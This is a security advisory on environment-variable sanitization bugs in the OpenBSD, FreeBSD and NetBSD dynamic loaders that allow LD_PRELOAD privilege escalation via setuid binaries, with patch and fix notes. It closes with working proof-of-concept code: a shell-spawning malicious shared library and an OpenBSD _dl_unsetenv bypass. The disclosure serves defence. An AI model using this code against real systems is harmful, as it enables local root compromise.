|
Impact: Serious. May lead to privilege escalation.
A class of security vulnerabilities has resurfaced in the dynamic loaders
of FreeBSD, OpenBSD, and NetBSD in the sanitization of environment
variables for suid and sgid binaries.
Due to either badly implemented sanitization or a lack of it, a setuid
binary may execute other processes with a tainted environment.
OpenBSD:
The OpenBSD dynamic loader clears out environment variables but,
due to a logic problem,_dl_unsetenv() could be fooled with two
adjacent entries. This was discovered by Mark
Dowd and John McDonald and published on a blog announcing their new book:
"Art of Software Security Assessment, The: Identifying and Avoiding
Software Vulnerabilities"
The link to the blog post:
http://www.matasano.com/log/592/finger-79tcp-mcdonald-dowd-and-schuh-challenge-part-2/
For a look at the code in question the above link should work
as well as a glance at the OpenBSD src tree for /src/libexec/ld.so/loader.c.
This does not allow direct code execution as the variable is also cleared (*).
/src/libexec/ld.so/loader.c:
--------------
if (_dl_issetugid()) { /* Zap paths if s[ug]id... */
...
if (_dl_preload) {
_dl_preload = NULL; (*)
_dl_unsetenv("LD_PRELOAD", envp);
}
---------------
However, the argument will be present in the environment of the privileged
process. If the privileged process sets its real uid equal to its effective uid
before executing another program then it may lead to privilege escalation as
the issetugid() check will return 0. A shared library of the attacker's choice
can then be loaded. Example code is provided at the end.
This is not common procedure for privileged executables but does occur.
OpenBSD's default ch*/chpass/passwd utils are one such example.
src/usr.bin/passwd/local_passwd.c:
---------------
/* Drop user's real uid and block all signals to avoid a DoS. */
setuid(0);
sigfillset(&fullset);
sigdelset(&fullset, SIGINT);
sigprocmask(SIG_BLOCK, &fullset, NULL);
...
if (pw_mkdb(uname, pwflags) < 0)
pw_error(NULL, 0, 1);
...
----------------
src/lib/libutil/passwd.c
-----------------------
int
pw_mkdb(char *username, int flags)
....
execv(_PATH_PWD_MKDB, av);
-----------------------
The said pw_mkdb() function executes /usr/sbin/pwd_mkdb without sanitizing the
environment. Since the /usr/bin/passwd binary runs root-user suid this may lead
to a local root compromise.
Fortunately though, on all OpenBSD systems tested /usr/sbin/pwd_mkdb
was statically
linked rendering this attack futile.
See http://www.openbsd.org/errata.html#ldso for patch information.
FreeBSD/NetBSD:
Unlike OpenBSD, no attempt is made to clear dangerous variables. The
FreeBSD/NetBSD dynamic loaders simply do not process the variables
when ruid does not equal euid. This is exploitable for the reasons
described above.
After brief research no critical default-install binaries appeared vulnerable
to this type of attack either. On FreeBSD/Netbsd setuid(0) is not
used on the default password utils. There are plenty of non-default
packages out there that are suceptible to this attack though...
Conclusion
It is arguable where the responsibility lies for sanitizing
environment variables.
A more defensive loader is the best counter-measure to protect
against this attack. This was potentially a very nasty bug on OpenBSD
where setuid(0)s occured. This is still a bug on NetBSD/FreeBSD and
needs to be fixed.
Linux is not affected by this attack.
Fix:
Remove dangerous environment variables from the environment of suid processes.
Hardening of the pw_mkdb() function can't hurt either.
Credits
--------
Mark Dowd, John McDonald, and Justin Schuh and their new book. Thanks
for publishing the OpenBSD loader bug.
shm - FreeBSD/NetBSD research.
Example Code
-------------
vulnerable root-suid program example:
main()
{
setuid(0);
execl("/usr/bin/id","id",0);
}
evil shared library:
__attribute__ ((constructor)) main()
{
printf("[+] Hello from shared library land\n");
execle("/bin/sh","sh",0,0);
}
openbsd _dl_unsetenv bypass:
#define LIB "LD_PRELOAD=/tmp/lib.so"
main(int argc, char *argv[])
{
char *e[] = { LIB, LIB, 0 };
int i; for(i = 0; argv[i]; argv[i] = argv[++i]); /* inspired by
_dl_unsetenv (: */
execve(argv[0], argv, e);
}
Have fun! Stay safe!